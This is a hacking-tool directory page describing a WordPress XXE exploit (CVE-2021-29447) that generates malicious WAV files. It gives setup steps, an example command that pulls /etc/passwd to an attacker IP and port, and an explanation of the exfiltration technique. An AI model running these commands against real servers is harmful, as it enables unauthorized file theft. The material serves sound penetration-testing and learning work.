Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-29447 — Exploit for CVE-2021-29447, an XXE vulnerability in WordPress 5.7.0 and earlier. Generates malicious WAV payloads to read arbitrary server files via XML external entity injection. Includes Docker test environment. | Kitploit
Tools/GitHubGitHub/danilo1992-sys/cve-2021-29447
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdanilo1992-sys/cve-2021-29447

CVE-2021-29447

Exploit for CVE-2021-29447, an XXE vulnerability in WordPress 5.7.0 and earlier. Generates malicious WAV payloads to read arbitrary server files via XML external entity injection. Includes Docker test environment.

View Repository
218 months agoNot yet reviewed
Share

CVE-2021-29447 - WordPress XXE Vulnerability Exploit

Description

This repository contains an exploit for CVE-2021-29447, an XXE (XML External Entity) vulnerability present in WordPress 5.7.0 and earlier versions. The vulnerability exists in the media library that processes WAV files, allowing an attacker to read arbitrary files from the server.

Requirements

  • Bash
  • Python 3
  • Docker and Docker Compose (to set up test environment)
  • Vulnerable WordPress server (5.7.0 or lower)

Files

FileDescription
CVE-2021-29447.shExploitation script that generates the WAV payload and malicious DTD file
decode.phpPHP script to decode exfiltrated data (base64 + zlib)
docker-compose.ymlDocker environment with vulnerable WordPress for testing

Usage

1. Set up test environment

docker-compose up -d

2. Run exploit

chmod +x CVE-2021-29447.sh
./CVE-2021-29447.sh -l <LHOST> -p <LPORT> -f <target_file>

Parameters:

  • -l Attacker IP (LHOST)
  • -p Attacker port (LPORT)
  • -f Path of the file to read on the server
  • -h Show help

Example:

./CVE-2021-29447.sh -l 192.168.1.100 -p 4444 -f /etc/passwd

3. Decode data

The exfiltrated data will be base64 encoded and compressed with zlib. To decode them:

php decode.php

Technique

The exploit works by inserting an XXE external entity into the metadata of a WAV file. When WordPress processes the file, the XML parser resolves the external entity, causing the server to make an HTTP request to the attacker's server with the contents of the file encoded in the URL.

References

  • CVE-2021-29447
  • WordPress 5.7.0 Security Release

Disclaimer

This code is for educational purposes and authorized penetration testing only. Do not use on systems without explicit authorization.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    795
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    520
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    439
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    267
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    264

Explore all tools

Browse our collection of tools

View all tools →